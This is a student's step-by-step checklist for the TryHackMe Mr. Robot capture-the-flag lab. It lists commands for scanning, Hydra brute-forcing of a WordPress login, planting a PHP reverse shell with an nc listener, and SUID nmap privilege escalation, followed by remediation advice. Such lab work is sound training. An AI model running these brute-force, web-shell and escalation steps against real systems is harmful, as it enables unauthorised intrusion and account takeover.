## ****Lab-1 Checklist: Web Penetration Testing — Mr. Robot CTF****

**Name - Ishan Chowdhury**

### 🎯 Objective:

Perform a full penetration test on the Mr. Robot CTF target to identify vulnerabilities, gain access, escalate privileges, and document findings following PTES methodology.

### ⚙️ ****Environment Setup****

| **Task** | **Description** | **Status** |
| --- | --- | --- |
| ☐ | Launch TryHackMe Mr. Robot CTF VM |  |
| ☐ | Connect via VPN to the TryHackMe network |  |
| ☐ | Note target IP address (10.201.74.195 ) |  |
| ☐ | Prepare tools: nmap, gobuster, hydra, Burp Suite, nc, python3 |  |

### ****Phase 1: Reconnaissance & Scanning****

| **Step** | **Command/Action** | **Output/Goal** | **Status** |
| --- | --- | --- | --- |
| ☐ | nmap 10.201.74.195 -sV -T4 -oA nmap-scan -open | Identify open ports & running services |  |
| ☐ | Review service versions (HTTP, HTTPS, etc.) | Detect potential web targets |  |
| ☐ | Access http://10.201.74.195 via browser | Observe content for clues |  |

### ****Phase 2: Enumeration****

| **Step** | **Command/Action** | **Output/Goal** | **Status** |
| --- | --- | --- | --- |
| ☐ | gobuster dir -u http://10.201.74.195 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt | Discover directories (/wp-login, /robots.txt) |  |
| ☐ | Examine /robots.txt for hidden files | Find fsocity.dic and key-1-of-3.txt |  |
| ☐ | Download fsocity.dic | Obtain potential username/password wordlist |  |

### ****Phase 3: Credential Attack****

| **Step** | **Command/Action** | **Output/Goal** | **Status** |
| --- | --- | --- | --- |
| ☐ | Clean duplicates: `sort fsocity.dic | uniq > fs-list` | Reduce wordlist size |
| ☐ | Capture failed login with Burp Suite | Identify POST parameters (log, pwd) |  |
| ☐ | Hydra username scan: hydra -L fs-list -p test 10.201.74.195 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" | Find valid username (elliot) |  |
| ☐ | Hydra password scan: hydra -l elliot -P fs-list 10.201.74.195 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" | Crack valid password |  |

### ****Phase 4: Initial Access****

| **Step** | **Command/Action** | **Output/Goal** | **Status** |
| --- | --- | --- | --- |
| ☐ | Login to WordPress dashboard | Gain admin access |  |
| ☐ | Inject PHP reverse shell via Appearance → Editor (e.g., archive.php) | Prepare payload |  |
| ☐ | Start listener: nc -lnvp 12345 | Await connection |  |
| ☐ | Visit http://10.201.74.195/wp-content/themes/twentyfifteen/archive.php | Obtain reverse shell |  |

### ****Phase 5: Privilege Escalation****

| **Step** | **Command/Action** | **Output/Goal** | **Status** |
| --- | --- | --- | --- |
| ☐ | Explore /home/robot/ directory | Find second key & MD5 hash |  |
| ☐ | Crack hash via CrackStation/John/Hashcat | Obtain robot’s password |  |
| ☐ | Upgrade shell: python -c 'import pty;pty.spawn("/bin/bash")' | Interactive terminal |  |
| ☐ | su robot | Switch user |  |
| ☐ | find / -perm -u=s -type f 2>/dev/null | Identify SUID binaries |  |
| ☐ | Exploit SUID nmap for root | Escalate privileges |  |
| ☐ | Retrieve final key | Complete challenge |  |

### ****Remediation Recommendations****

| **Area** | **Recommendation** |
| --- | --- |
| WordPress | Keep updated; restrict admin panel; enable MFA |
| File Permissions | Remove world-readable sensitive files |
| Services | Disable unused ports; patch nmap SUID vulnerability |
| Web Security | Implement rate limiting and input validation |